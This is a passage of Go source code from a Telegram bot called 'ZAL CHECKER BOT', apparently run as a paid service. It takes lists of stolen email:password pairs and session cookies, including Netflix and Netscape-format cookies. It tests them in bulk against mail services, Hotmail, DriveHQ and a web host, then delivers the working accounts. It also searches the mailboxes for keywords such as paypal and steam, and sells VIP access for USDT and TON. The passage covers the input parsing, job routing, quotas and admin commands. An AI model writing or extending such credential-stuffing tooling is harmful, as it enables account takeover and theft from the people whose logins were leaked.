	}
	for _, f := range files {
		if fileNonEmpty(f.p) { apiSendDocument(job.ChatID, f.p, fmt.Sprintf("%s <b>%s</b>", f.e, f.l)) }
	}
	logJob(job, job.UID, stopped)
	dbLock.Lock()
	db.Stats.TotalJobs++
	db.Stats.TotalChecked += int(done)
	db.Stats.TotalGood += int(atomic.LoadInt32(&job.Good))
	dbMarkDirty()
	dbLock.Unlock()
	jobsLock.Lock()
	delete(jobs, job.ID)
	jobsLock.Unlock()
}
func helpText() string {
	return crownHeader() + "\n<b>" + boldSans("ZAL CHECKER BOT") + "</b>\n" +
		"<i>" + sc("smtp+imap · hotmail · drivehq · cookie · parswebhost (vip)") + "</i>\n\n" +
		"<blockquote>" + em("inbox") + " " + sc("send a .txt combo file") + "\n" +
		sc("or paste combos / cookies in chat") + "\n\n" +
		sc("combo format") + ": <code>email:password</code>\n" +
		sc("cookie formats") + ":\n" +
		"<code>https://site.com/account | cookie=value; x=y</code>\n" +
		"<code>NetflixId=...; SecureNetflixId=...</code>\n" +
		sc("netscape cookie file") + " " + sc("(auto, tab-separated)") +
		"</blockquote>\n\n" +
		"<b>" + sc("commands") + "</b>\n<blockquote>" +
		"/start · /help · /me · /limit · /vip · /buypanel · /support " + Support +
		"</blockquote>\n" + em("target") + " " + sc("modes") + ":\n" +
		"<code>SMTP+IMAP</code> · <code>HOTMAIL</code> · <code>DRIVEHQ</code> · <code>COOKIE</code>\n" +
		em("vip") + " <code>PARSWEBHOST</code>"
}
func vipText(uid int64) string {
	u := userGet(uid)
	active := vipActive(u)
	status := em("bad") + " " + sc("inactive")
	if active { status = em("ok") + " " + sc("active") }
	expiry := "ʟɪꜰᴇᴛɪᴍᴇ"
	if u.VIPExpiry > 0 { expiry = time.Unix(u.VIPExpiry, 0).UTC().Format("2006-01-02") }
	return crownHeader() + "\n<b>" + boldSans("VIP") + "</b>\n\n<blockquote>" +
		em("vip") + " <b>" + sc("status") + "</b> · " + status + "\n" +
		em("star") + " <b>" + sc("plan") + "</b> · <b>$" + strconv.Itoa(VIPPriceUSD) + "</b> lifetime\n" +
		em("time") + " <b>" + sc("expiry") + "</b> · <code>" + expiry + "</code>" +
		"</blockquote>\n\n<b>" + sc("perks") + "</b>\n<blockquote>" +
		em("ok") + " " + sc("unlimited combos") + "\n" +
		em("ok") + " " + sc("threads up to") + " <code>" + strconv.Itoa(MaxThreadsVIP) + "</code>\n" +
		em("ok") + " ᴘᴀʀꜱᴡᴇʙʜᴏꜱᴛ " + sc("unlocked") +
		"</blockquote>\n" + em("money") + " " + sc("buy at") + " " + Support
}
func buyPanelText() string {
	return crownHeader() + "\n<b>" + boldSans("BUY VIP") + "</b>\n\n<blockquote>" +
		em("vip") + " <b>" + sc("plan") + "</b> · ʟɪꜰᴇᴛɪᴍᴇ\n" +
		em("money") + " <b>" + sc("price") + "</b> · <b>$" + strconv.Itoa(VIPPriceUSD) + "</b>\n" +
		em("speed") + " <b>" + sc("threads") + "</b> · <code>" + strconv.Itoa(MaxThreadsVIP) + "</code>\n" +
		em("checked") + " <b>" + sc("combos") + "</b> · " + sc("unlimited") +
		"</blockquote>\n\n<b>" + em("money") + " " + sc("accepted payments") + "</b>\n<blockquote>" +
		em("star") + " <b>USDT · TRON (TRC20)</b>\n" +
		em("star") + " <b>USDT · BSC (BEP20)</b>\n" +
		em("star") + " <b>TON</b>" +
		"</blockquote>\n\n<b>" + sc("how to buy") + "</b>\n<blockquote>" +
		"1. " + sc("message") + " " + Support + " " + sc("in DM") + "\n" +
		"2. " + sc("send the amount in USDT") + "\n" +
		"3. " + sc("send tx hash + your telegram id") + "\n" +
		"4. " + sc("vip activates within minutes") +
		"</blockquote>\n<i>" + sc("contact") + ": " + Support + "</i>"
}
func adminHelp() string {
	return crownHeader() + "\n<b>" + boldSans("ADMIN PANEL") + "</b>\n<i>" + sc("zal checker · control room") + "</i>\n\n<blockquote>" +
		AdminCmd + "           · " + sc("open admin panel") + "\n" +
		"/users · /user ID · /ban ID · /unban ID\n" +
		"/reset ID · /setlimit ID N · /sethmlimit ID N\n" +
		"/givevip ID [days] · /revokevip ID · /viplist\n" +
		"/broadcast text · /addadmin ID · /removeadmin ID\n" +
		"/stats · /backup · /testingmode" +
		"</blockquote>"
}

// ---- PARSING ----
// Mixed input is now handled line-by-line: netscape rows are grouped by domain
// into a single cookie entry, everything else becomes its own entry.
// That fixes: "all cookies pasted together collapse into one, only first hits."
func parseCombos(text string) []string {
	lines := strings.Split(text, "\n")
	var out []string
	seen := map[string]bool{}

	flushNS := func(buf []string) {
		if len(buf) == 0 { return }
		joined := strings.Join(buf, "\n")
		if !seen[joined] {
			seen[joined] = true
			out = append(out, joined)
		}
	}

	var nsBuf []string
	nsDomain := ""
	for _, raw := range lines {
		ln := strings.TrimRight(raw, "\r")
		trimmed := strings.TrimSpace(ln)
		if trimmed == "" || strings.HasPrefix(trimmed, "#") { continue }

		if isNetscapeLine(trimmed) {
			// figure out domain
			fields := strings.Split(trimmed, "\t")
			if len(fields) < 7 { fields = strings.Fields(trimmed) }
			dom := ""
			if len(fields) >= 1 { dom = strings.TrimPrefix(strings.TrimSpace(fields[0]), ".") }
			if nsDomain != "" && dom != "" && dom != nsDomain {
				flushNS(nsBuf)
				nsBuf = nil
			}
			if dom != "" { nsDomain = dom }
			nsBuf = append(nsBuf, ln)
			continue
		}

		// non-netscape line: flush pending netscape block first
		flushNS(nsBuf)
		nsBuf = nil
		nsDomain = ""

		ok := false
		if strings.Contains(trimmed, ":") { ok = true }
		if strings.Contains(trimmed, "NetflixId=") { ok = true }
		if strings.Contains(trimmed, "SecureNetflixId=") { ok = true }
		if strings.HasPrefix(trimmed, "http") { ok = true }
		if !ok { continue }
		if seen[trimmed] { continue }
		seen[trimmed] = true
		out = append(out, trimmed)
	}
	flushNS(nsBuf)
	return out
}

func tierOf(uid int64) string {
	if isAdmin(uid) { return "admin" }
	if isVIP(uid) { return "vip" }
	return "user"
}
func askType(chatID, uid int64, combos []string) {
	pendingLk.Lock()
	if old, ok := pendingUID[uid]; ok { delete(pending, old) }
	pid := fmt.Sprintf("%x", time.Now().UnixNano())
	if len(pid) > 12 { pid = pid[:12] }
	pending[pid] = &pendingJob{ID: pid, ChatID: chatID, UID: uid, Combos: combos, Stage: "type", TS: time.Now()}
	pendingUID[uid] = pid
	pendingLk.Unlock()
	txt := crownHeader() + "\n<b>" + boldSans("COMBOS RECEIVED") + "</b>\n\n<blockquote>" +
		em("checked") + " <b>" + sc("Combos") + "</b> · <code>" + strconv.Itoa(len(combos)) + "</code>\n" +
		em("gear") + " <b>" + sc("choose mode") + "</b></blockquote>"
	apiSendMessage(chatID, txt, typeKB(pid, isVIP(uid)))
}
func startJob(chatID, uid int64, combos []string, kind string, keywords []string, threads int) {
	jobID := nextJobID()
	smtpF, goodF, svcF, cdir, kdir := pathsFor(jobID)
	job := &Job{ID: jobID, ChatID: chatID, UID: uid, Kind: kind, Keywords: keywords,
		Total: len(combos), Threads: threads, StartedAt: time.Now(), Services: map[string]int32{},
		SmtpFile: smtpF, GoodFile: goodF, ServicesFile: svcF, CountryDir: cdir, KeywordDir: kdir,
		Stopped: make(chan struct{})}
	jobsLock.Lock(); jobs[jobID] = job; jobsLock.Unlock()
	r := apiSendMessageSync(chatID, renderJob(job, false, false), stopKB(jobID))
	if r == nil { return }
	if res, ok := r["result"].(map[string]any); ok {
		if id, ok := res["message_id"].(float64); ok { job.MessageID = int64(id) }
	}
	go jobWatchStop(job)
	go runJob(job, combos)
}
func handleMessage(msg map[string]any) {
	chat, ok1 := msg["chat"].(map[string]any)
	from, ok2 := msg["from"].(map[string]any)
	if !ok1 || !ok2 { return }
	chatID := int64(chat["id"].(float64))
	uid := int64(from["id"].(float64))
	uname, _ := from["username"].(string)
	fname, _ := from["first_name"].(string)
	u := userGet(uid)
	changed := false
	if uname != "" && u.Username != uname { u.Username = uname; changed = true }
	if fname != "" && u.FirstName != fname { u.FirstName = fname; changed = true }
	if changed { userUpdate(uid, func(r *UserRecord) { r.Username = u.Username; r.FirstName = u.FirstName }) }
	if isBanned(uid) { apiSendMessage(chatID, em("banned")+" "+sc("you are banned"), nil); return }
	if txt, ok := msg["text"].(string); ok {
		txt = strings.TrimSpace(txt)
		if strings.HasPrefix(txt, "/support") { apiSendMessage(chatID, crownHeader()+"\n<b>"+sc("support")+"</b>\n\n<blockquote>"+em("group")+" "+Support+"</blockquote>", nil); return }
		if strings.HasPrefix(txt, "/buypanel") || strings.HasPrefix(txt, "/buy") { apiSendMessage(chatID, buyPanelText(), nil); return }
		if strings.HasPrefix(txt, "/vip") { apiSendMessage(chatID, vipText(uid), nil); return }
		if isAdmin(uid) { routeText(chatID, uid, txt); return }
		ok, missing := checkJoinAll(uid)
		if !ok { apiSendMessage(chatID, joinPrompt(missing), joinKB(missing, uid)); return }
		if isTestingMode() && !isAdmin(uid) { apiSendMessage(chatID, em("lock")+" "+sc("testing mode")+" · "+sc("only admins can run jobs"), nil); return }
		routeText(chatID, uid, txt)
		return
	}
	if _, ok := msg["document"].(map[string]any); ok {
		if !isAdmin(uid) {
			ok, missing := checkJoinAll(uid)
			if !ok { apiSendMessage(chatID, joinPrompt(missing), joinKB(missing, uid)); return }
			if isTestingMode() { apiSendMessage(chatID, em("lock")+" "+sc("testing mode")+" · "+sc("only admins can run jobs"), nil); return }
		}
		routeDoc(chatID, uid, msg)
	}
}
func routeText(chatID, uid int64, text string) {
	pendingLk.Lock()
	pid, hasP := pendingUID[uid]
	var pj *pendingJob
	if hasP { pj = pending[pid] }
	pendingLk.Unlock()
	if pj != nil && pj.Stage == "keywords" {
		parts := strings.Split(text, ",")
		var kws []string
		seen := map[string]bool{}
		for _, k := range parts {
			k = strings.ToLower(strings.TrimSpace(k))
			if k == "" || seen[k] { continue }
			seen[k] = true
			kws = append(kws, k)
		}
		if len(kws) == 0 { apiSendMessage(chatID, em("bad")+" "+sc("send at least one keyword"), nil); return }
		pendingLk.Lock(); pj.Keywords = kws; pj.Stage = "threads"; pendingLk.Unlock()
		apiSendMessage(chatID, crownHeader()+"\n<b>"+boldSans("KEYWORDS SET")+"</b>\n\n<blockquote>"+
			em("target")+" <b>"+sc("keywords")+"</b> · <code>"+strings.Join(kws, ", ")+"</code>\n"+
			em("threads")+" <b>"+sc("choose threads")+"</b></blockquote>", threadsKB(pid, tierOf(uid)))
		return
	}
	if strings.HasPrefix(text, "/start") || strings.HasPrefix(text, "/help") { apiSendMessage(chatID, helpText(), nil); return }
	if strings.HasPrefix(text, "/me") {
		u := userGet(uid)
		ts := strconv.Itoa(u.DailyLimit); hs := strconv.Itoa(u.HotmailLimit)
		role := em("user") + " ᴜꜱᴇʀ"
		if isAdmin(uid) { role = em("admin")+" ᴀᴅᴍɪɴ"; ts, hs = "∞", "∞" } else if isVIP(uid) { role = em("vip")+" ᴠɪᴘ"; ts, hs = "∞", "∞" }
		apiSendMessage(chatID, crownHeader()+"\n<b>"+sc("your profile")+"</b>\n\n<blockquote>"+
			em("id")+" <b>ID</b> · <code>"+strconv.FormatInt(uid, 10)+"</code>\n"+role+"\n"+
			em("checked")+" <b>"+sc("smtp+imap today")+"</b> · <code>"+strconv.Itoa(u.ComboToday)+"/"+ts+"</code>\n"+
			em("hotmail")+" <b>"+sc("hotmail today")+"</b> · <code>"+strconv.Itoa(u.HotmailToday)+"/"+hs+"</code>\n"+
			em("jobs")+" <b>"+sc("jobs")+"</b> · <code>"+strconv.Itoa(u.TotalJobs)+"</code>\n"+
			em("good")+" <b>"+sc("total good")+"</b> · <code>"+strconv.Itoa(u.TotalGood)+"</code></blockquote>", nil)
		return
	}
	if strings.HasPrefix(text, "/limit") {
		if isAdmin(uid) || isVIP(uid) { apiSendMessage(chatID, em("vip")+" "+sc("unlimited"), nil); return }
		u := userGet(uid)
		apiSendMessage(chatID, crownHeader()+"\n<b>"+sc("daily quota")+"</b>\n\n<blockquote>"+
			em("checked")+" <b>"+sc("smtp+imap remaining")+"</b> · <code>"+withCommas(userRemaining(uid, "sm"))+"</code>\n"+
			em("hotmail")+" <b>"+sc("hotmail remaining")+"</b> · <code>"+withCommas(userRemaining(uid, "hm"))+"</code>\n\n"+
			em("stats")+" <b>"+sc("smtp+imap used")+"</b> · <code>"+withCommas(u.ComboToday)+"/"+withCommas(u.DailyLimit)+"</code>\n"+
			em("stats")+" <b>"+sc("hotmail used")+"</b> · <code>"+withCommas(u.HotmailToday)+"/"+withCommas(u.HotmailLimit)+"</code></blockquote>", nil)
		return
	}
	if strings.HasPrefix(text, AdminCmd) { if !isAdmin(uid) { return }; apiSendMessage(chatID, adminHelp(), adminPanelKB()); return }
	if strings.HasPrefix(text, "/testingmode") {
		if !isAdmin(uid) { return }
		cur := isTestingMode(); setTestingMode(!cur)
		dbSaveNow()
		st := "ᴏꜰꜰ"; if !cur { st = "ᴏɴ" }
		apiSendMessage(chatID, em("gear")+" "+sc("testing mode")+" · <b>"+st+"</b>", nil)
		return
	}
	if isAdmin(uid) && strings.HasPrefix(text, "/") { handleAdminCmd(chatID, uid, text); return }
	if !strings.Contains(text, ":") && !strings.Contains(text, "NetflixId=") && !strings.Contains(text, "SecureNetflixId=") && !strings.HasPrefix(text, "http") && !strings.Contains(text, "\t") {
		apiSendMessage(chatID, em("bad")+" "+sc("invalid")+". "+sc("format")+": <code>email:pass</code>", nil)
		return
	}
	tryStartJob(chatID, uid, text)
}
func routeDoc(chatID, uid int64, msg map[string]any) {
	doc, _ := msg["document"].(map[string]any)
	name, _ := doc["file_name"].(string)
	if !strings.HasSuffix(strings.ToLower(name), ".txt") { apiSendMessage(chatID, em("bad")+" "+sc("only .txt files"), nil); return }
	fid, _ := doc["file_id"].(string)
	raw := apiDownloadFile(fid)
	if raw == nil { apiSendMessage(chatID, em("bad")+" "+sc("download failed"), nil); return }
	tryStartJob(chatID, uid, string(raw))
}
func tryStartJob(chatID, uid int64, text string) {
	combos := parseCombos(text)
	if len(combos) == 0 { apiSendMessage(chatID, em("bad")+" "+sc("no valid combos"), nil); return }
	remSM := userRemaining(uid, "sm"); remHM := userRemaining(uid, "hm")
	maxRem := remSM
	if remHM > maxRem { maxRem = remHM }
	if len(combos) > maxRem {
		apiSendMessage(chatID, crownHeader()+"\n"+em("bad")+" <b>"+sc("daily limit")+"</b>\n\n<blockquote>"+
			em("checked")+" <b>"+sc("you have")+"</b> · <code>"+strconv.Itoa(len(combos))+"</code>\n"+
			em("ok")+" <b>"+sc("smtp+imap remaining")+"</b> · <code>"+withCommas(remSM)+"</code>\n"+
			em("hotmail")+" <b>"+sc("hotmail remaining")+"</b> · <code>"+withCommas(remHM)+"</code></blockquote>", nil)
		return
	}
	askType(chatID, uid, combos)
}
func fallback(s, fb string) string { if s == "" { return fb }; return s }
func handleAdminCmd(chatID, uid int64, text string) {
	parts := strings.SplitN(text, " ", 2)
	cmd := strings.ToLower(parts[0])
	arg := ""
	if len(parts) > 1 { arg = strings.TrimSpace(parts[1]) }
	switch cmd {
	case "/users":
		us := allUsers()
		var sb strings.Builder
		sb.WriteString("ZAL · users export\ntotal: " + strconv.Itoa(len(us)) + "\n")
		sb.WriteString("generated: " + time.Now().UTC().Format("2006-01-02 15:04:05") + " UTC\n")
		sb.WriteString(strings.Repeat("-", 60) + "\n\n")
		for _, u := range us {
			fl := "OK "; if u.Banned { fl = "BAN" }
			tag := "USR"
			if isAdmin(u.ID) { tag = "ADM" } else if vipActive(u) { tag = "VIP" }
			sb.WriteString(fmt.Sprintf("[%s][%s] id=%d user=@%s name=%s sm=%d hm=%d used_sm=%d used_hm=%d jobs=%d good=%d\n",
				fl, tag, u.ID, fallback(u.Username, "-"), fallback(u.FirstName, "-"), u.DailyLimit, u.HotmailLimit, u.ComboToday, u.HotmailToday, u.TotalJobs, u.TotalGood))
		}
		apiSendDocumentBytes(chatID, "zal_users.txt", []byte(sb.String()), em("users")+" <b>"+sc("users")+"</b> · <code>"+strconv.Itoa(len(us))+"</code>")
	case "/user":
		id, _ := strconv.ParseInt(arg, 10, 64)
		if id == 0 { return }
		u := userGet(id)
		vt := "ɴᴏ"
		if vipActive(u) { if u.VIPExpiry == 0 { vt = "ʟɪꜰᴇᴛɪᴍᴇ" } else { vt = time.Unix(u.VIPExpiry, 0).UTC().Format("2006-01-02") } }
		apiSendMessage(chatID, crownHeader()+"\n<b>"+sc("user")+"</b> <code>"+arg+"</code>\n\n<blockquote>"+
			em("user")+" <b>"+sc("username")+"</b> · @"+fallback(u.Username, "-")+"\n"+
			em("name")+" <b>"+sc("name")+"</b> · "+fallback(u.FirstName, "-")+"\n"+
			em("banned")+" <b>"+sc("banned")+"</b> · <code>"+strconv.FormatBool(u.Banned)+"</code>\n"+
			em("vip")+" <b>"+sc("vip")+"</b> · <code>"+vt+"</code>\n"+
			em("checked")+" <b>"+sc("sm limit")+"</b> · <code>"+strconv.Itoa(u.DailyLimit)+"</code>\n"+
			em("hotmail")+" <b>"+sc("hm limit")+"</b> · <code>"+strconv.Itoa(u.HotmailLimit)+"</code></blockquote>", nil)
	case "/ban":
		if id, err := strconv.ParseInt(arg, 10, 64); err == nil { userUpdate(id, func(r *UserRecord) { r.Banned = true }); dbSaveNow(); apiSendMessage(chatID, em("banned")+" "+sc("banned")+" <code>"+arg+"</code>", nil) }
	case "/unban":
		if id, err := strconv.ParseInt(arg, 10, 64); err == nil { userUpdate(id, func(r *UserRecord) { r.Banned = false }); dbSaveNow(); apiSendMessage(chatID, em("ok")+" "+sc("unbanned")+" <code>"+arg+"</code>", nil) }
	case "/reset":
		if id, err := strconv.ParseInt(arg, 10, 64); err == nil {
			userUpdate(id, func(r *UserRecord) { r.ComboToday = 0; r.HotmailToday = 0; r.Day = today(); r.DailyLimit = randDailyLimit(); r.HotmailLimit = UserHotmailDaily })
			dbSaveNow()
			apiSendMessage(chatID, em("reset")+" "+sc("reset")+" <code>"+arg+"</code>", nil)
		}
	case "/setlimit":
		f := strings.Fields(arg)
		if len(f) == 2 {
			if id, e1 := strconv.ParseInt(f[0], 10, 64); e1 == nil {
				if n, e2 := strconv.Atoi(f[1]); e2 == nil {
					userUpdate(id, func(r *UserRecord) { r.DailyLimit = n })
					dbSaveNow()
					apiSendMessage(chatID, em("checked")+" "+sc("sm limit set to")+" <code>"+strconv.Itoa(n)+"</code>", nil)
				}
			}
		}
	case "/sethmlimit":
		f := strings.Fields(arg)
		if len(f) == 2 {
			if id, e1 := strconv.ParseInt(f[0], 10, 64); e1 == nil {
				if n, e2 := strconv.Atoi(f[1]); e2 == nil {
					userUpdate(id, func(r *UserRecord) { r.HotmailLimit = n })
					dbSaveNow()
					apiSendMessage(chatID, em("hotmail")+" "+sc("hm limit set to")+" <code>"+strconv.Itoa(n)+"</code>", nil)
				}
			}
		}
	case "/givevip":
		f := strings.Fields(arg)
		if len(f) == 0 { return }
		id, err := strconv.ParseInt(f[0], 10, 64)
		if err != nil { return }
		var exp int64 = 0
		plan := "ʟɪꜰᴇᴛɪᴍᴇ"
		if len(f) >= 2 {
			if days, err := strconv.Atoi(f[1]); err == nil && days > 0 { exp = time.Now().Add(time.Duration(days) * 24 * time.Hour).Unix(); plan = fmt.Sprintf("%d ᴅᴀʏꜱ", days) }
		}
		userUpdate(id, func(r *UserRecord) { r.VIP = true; r.VIPExpiry = exp })
		dbLock.Lock(); db.Stats.TotalVIP++; dbMarkDirty(); dbLock.Unlock()
		dbSaveNow()
		apiSendMessage(chatID, em("vip")+" "+sc("vip granted")+" <code>"+f[0]+"</code> · <b>"+plan+"</b>", nil)
		apiSendMessage(id, crownHeader()+"\n"+em("vip")+" <b>"+boldSans("VIP ACTIVATED")+"</b>\n\n<blockquote>"+
			em("star")+" "+sc("plan")+" · <b>"+plan+"</b>\n"+
			em("ok")+" "+sc("unlimited combos")+"\n"+
			em("ok")+" ᴘᴀʀꜱᴡᴇʙʜᴏꜱᴛ "+sc("unlocked")+"\n\n"+
			sc("thank you for your support")+"</blockquote>", nil)
	case "/revokevip":
		if id, err := strconv.ParseInt(arg, 10, 64); err == nil { userUpdate(id, func(r *UserRecord) { r.VIP = false; r.VIPExpiry = 0 }); dbSaveNow(); apiSendMessage(chatID, em("bad")+" "+sc("vip revoked")+" <code>"+arg+"</code>", nil) }
	case "/viplist":
		us := allUsers()
		var sb strings.Builder
		sb.WriteString("ZAL · VIP list\ngenerated: " + time.Now().UTC().Format("2006-01-02 15:04:05") + " UTC\n")
		sb.WriteString(strings.Repeat("-", 60) + "\n\n")
		count := 0
		for _, u := range us {
			if !vipActive(u) { continue }
			count++
			expiry := "lifetime"
			if u.VIPExpiry > 0 { expiry = time.Unix(u.VIPExpiry, 0).UTC().Format("2006-01-02") }
			sb.WriteString(fmt.Sprintf("id=%d user=@%s name=%s vip=%s\n", u.ID, fallback(u.Username, "-"), fallback(u.FirstName, "-"), expiry))
		}
		if count == 0 { sb.WriteString("(no vip users)\n") }
		apiSendDocumentBytes(chatID, "zal_vip.txt", []byte(sb.String()), em("vip")+" <b>"+sc("vip list")+"</b> · <code>"+strconv.Itoa(count)+"</code>")
	case "/broadcast":
		if arg == "" { return }
		sent := 0
		for _, u := range allUsers() {
			if u.Banned { continue }
			if r := apiCall("sendMessage", map[string]any{"chat_id": u.ID, "text": crownHeader() + "\n" + em("broadcast") + " <b>" + sc("broadcast") + "</b>\n\n" + arg, "parse_mode": "HTML"}, true); r != nil { sent++ }
		}
		apiSendMessage(chatID, em("broadcast")+" "+sc("sent to")+" <code>"+strconv.Itoa(sent)+"</code>", nil)
	case "/addadmin":
		if id, err := strconv.ParseInt(arg, 10, 64); err == nil { addAdmin(id); apiSendMessage(chatID, em("admin")+" "+sc("added admin")+" <code>"+arg+"</code>", nil) }
	case "/removeadmin":
		if id, err := strconv.ParseInt(arg, 10, 64); err == nil { removeAdmin(id); apiSendMessage(chatID, em("user")+" "+sc("removed admin")+" <code>"+arg+"</code>", nil) }
	case "/stats":
		dbLock.Lock()
		st := db.Stats
		nu := len(db.Users)
		dbLock.Unlock()
		vc := 0
		for _, u := range allUsers() { if vipActive(u) { vc++ } }
		apiSendMessage(chatID, crownHeader()+"\n<b>"+boldSans("GLOBAL STATS")+"</b>\n\n<blockquote>"+
			em("users")+" <b>"+sc("users")+"</b> · <code>"+strconv.Itoa(nu)+"</code>\n"+
			em("vip")+" <b>"+sc("vip")+"</b> · <code>"+strconv.Itoa(vc)+"</code>\n"+
			em("jobs")+" <b>"+sc("jobs")+"</b> · <code>"+strconv.Itoa(st.TotalJobs)+"</code>\n"+
			em("stats")+" <b>"+sc("checked")+"</b> · <code>"+strconv.Itoa(st.TotalChecked)+"</code>\n"+
			em("good")+" <b>"+sc("good")+"</b> · <code>"+strconv.Itoa(st.TotalGood)+"</code></blockquote>", nil)
	case "/backup":
		dbSaveNow()
		if _, err := os.Stat(dbFile); err == nil { apiSendDocument(chatID, dbFile, em("db")+" <b>db</b>") }
	}
}
func handleCallback(cb map[string]any) {
	data, _ := cb["data"].(string)
	cbID, _ := cb["id"].(string)
	from, _ := cb["from"].(map[string]any)
	if from == nil { apiAnswerCallback(cbID, ""); return }
	uid := int64(from["id"].(float64))
	msg, _ := cb["message"].(map[string]any)
	if msg == nil { apiAnswerCallback(cbID, ""); return }
	chat, _ := msg["chat"].(map[string]any)
	chatID := int64(chat["id"].(float64))
	msgID := int64(msg["message_id"].(float64))
	if strings.HasPrefix(data, "joincheck:") {
		invalidateMemberCache(uid)
		ok, missing := checkJoinAll(uid)
		if ok {
			apiAnswerCallback(cbID, "ᴡᴇʟᴄᴏᴍᴇ")
			apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
			apiSendMessage(chatID, helpText(), nil)
		} else { apiAnswerCallback(cbID, fmt.Sprintf("%d ᴄʜᴀᴛꜱ ʟᴇꜰᴛ", len(missing))) }
		return
	}
	if strings.HasPrefix(data, "adm:") {
		if !isAdmin(uid) { apiAnswerCallback(cbID, "not admin"); return }
		action := strings.TrimPrefix(data, "adm:")
		switch action {
		case "tm":
			cur := isTestingMode(); setTestingMode(!cur)
			dbSaveNow()
			st := "ᴏꜰꜰ"; if !cur { st = "ᴏɴ" }
			apiAnswerCallback(cbID, "ᴛᴇꜱᴛɪɴɢ ᴍᴏᴅᴇ · "+st)
			apiEditMessage(chatID, msgID, adminHelp(), adminPanelKB())
		case "stats": apiAnswerCallback(cbID, "stats"); go handleAdminCmd(chatID, uid, "/stats")
		case "users": apiAnswerCallback(cbID, "sending users..."); go handleAdminCmd(chatID, uid, "/users")
		case "viplist": apiAnswerCallback(cbID, "sending vip list..."); go handleAdminCmd(chatID, uid, "/viplist")
		case "backup": apiAnswerCallback(cbID, "sending db..."); go handleAdminCmd(chatID, uid, "/backup")
		case "close":
			apiAnswerCallback(cbID, "")
			apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
		}
		return
	}
	if strings.HasPrefix(data, "pt:") {
		parts := strings.SplitN(data, ":", 3)
		if len(parts) != 3 { apiAnswerCallback(cbID, ""); return }
		kind, pid := parts[1], parts[2]
		pendingLk.Lock(); p := pending[pid]; pendingLk.Unlock()
		if p == nil || p.UID != uid { apiAnswerCallback(cbID, "expired"); return }
		if kind == "ph" && !isVIP(uid) {
			apiAnswerCallback(cbID, "ᴠɪᴘ ᴏɴʟʏ")
			apiSendMessage(chatID, crownHeader()+"\n"+em("vip")+" <b>"+sc("vip only")+"</b>\n\n<blockquote>"+
				sc("this mode is vip only")+"\n"+em("money")+" "+sc("buy at")+" "+Support+"</blockquote>", nil)
			return
		}
		if kind == "hm" {
			pendingLk.Lock(); p.Kind = "hm"; p.Stage = "keywords"; pendingLk.Unlock()
			apiAnswerCallback(cbID, "hotmail mode")
			apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
			apiSendMessage(chatID, crownHeader()+"\n<b>"+boldSans("HOTMAIL MODE")+"</b>\n\n<blockquote>"+
				em("target")+" "+sc("send your keywords")+"\n"+sc("comma separated")+" · "+sc("example")+":\n"+
				"<code>paypal, netflix, steam</code></blockquote>", nil)
			return
		}
		kinds := map[string]string{"sm": "SMTP+IMAP", "dh": "DRIVEHQ", "ph": "PARSWEBHOST", "ck": "COOKIE"}
		pendingLk.Lock(); p.Kind = kind; p.Stage = "threads"; pendingLk.Unlock()
		apiAnswerCallback(cbID, strings.ToLower(kind)+" mode")
		apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
		extra := ""
		if kind == "ck" {
			extra = "\n" + sc("format") + ":\n" +
				"<code>https://site.com/account | cookie=value; x=y</code>\n" +
				"<code>NetflixId=...; SecureNetflixId=...</code>\n" +
				"<code>netscape cookie file (auto, tab-separated)</code>"
		}
		apiSendMessage(chatID, crownHeader()+"\n<b>"+boldSans(kinds[kind]+" MODE")+"</b>\n\n<blockquote>"+
			em("threads")+" <b>"+sc("choose threads")+"</b>"+extra+"</blockquote>", threadsKB(pid, tierOf(uid)))
		return
	}
	if strings.HasPrefix(data, "pc:") {
		pid := strings.TrimPrefix(data, "pc:")
		pendingLk.Lock()
		if p, ok := pending[pid]; ok { delete(pendingUID, p.UID); delete(pending, pid) }
		pendingLk.Unlock()
		apiAnswerCallback(cbID, "cancelled")
		apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
		return
	}
	if strings.HasPrefix(data, "thr:") {
		parts := strings.SplitN(data, ":", 3)
		if len(parts) != 3 { apiAnswerCallback(cbID, ""); return }
		pid := parts[1]
		threads, err := strconv.Atoi(parts[2])
		if err != nil { apiAnswerCallback(cbID, ""); return }
		pendingLk.Lock()
		p := pending[pid]
		if p != nil { delete(pending, pid); delete(pendingUID, uid) }
		pendingLk.Unlock()
		if p == nil || p.UID != uid { apiAnswerCallback(cbID, "expired"); return }
		tier := tierOf(uid)
		var cap int
		switch tier {
		case "admin": cap = MaxThreadsAdmin
		case "vip": cap = MaxThreadsVIP
		default: cap = MaxThreadsUser
		}
		if threads > cap { threads = cap }
		if threads < 1 { threads = 1 }
		rem := userRemaining(uid, p.Kind)
		if len(p.Combos) > rem { apiAnswerCallback(cbID, "limit exceeded"); apiSendMessage(chatID, em("bad")+" "+sc("daily limit exceeded"), nil); return }
		apiAnswerCallback(cbID, fmt.Sprintf("%d threads", threads))
		apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
		userConsume(uid, p.Kind, len(p.Combos))
		userUpdate(uid, func(r *UserRecord) { r.TotalJobs++; r.TotalChecked += len(p.Combos) })
		startJob(chatID, uid, p.Combos, p.Kind, p.Keywords, threads)
		return
	}
	if strings.HasPrefix(data, "stop:") {
		jobID := strings.TrimPrefix(data, "stop:")
		jobsLock.Lock(); job := jobs[jobID]; jobsLock.Unlock()
		if job == nil { apiAnswerCallback(cbID, "not found"); return }
		if isAdmin(uid) || job.UID == uid {
			atomic.StoreInt32(&job.StopFlag, 1)
			job.stopOnce.Do(func() { close(job.Stopped) })
			apiAnswerCallback(cbID, "ꜱᴛᴏᴘᴘɪɴɢ…")
			apiCallAsync("editMessageReplyMarkup", map[string]any{"chat_id": chatID, "message_id": msgID}, true)
		} else { apiAnswerCallback(cbID, "not yours") }
		return
	}
	apiAnswerCallback(cbID, "")
}
func pollLoop() {
	offset := 0
	fmt.Printf("[*] %s polling…\n", boldSans("ZAL CHECKER BOT"))
	for {
		r := apiCall("getUpdates", map[string]any{"offset": offset, "timeout": PollTimeout, "allowed_updates": []string{"message", "callback_query"}}, true)
		if r == nil { time.Sleep(time.Second); continue }
		res, ok := r["result"].([]any)
		if !ok { time.Sleep(time.Second); continue }
		for _, upd := range res {
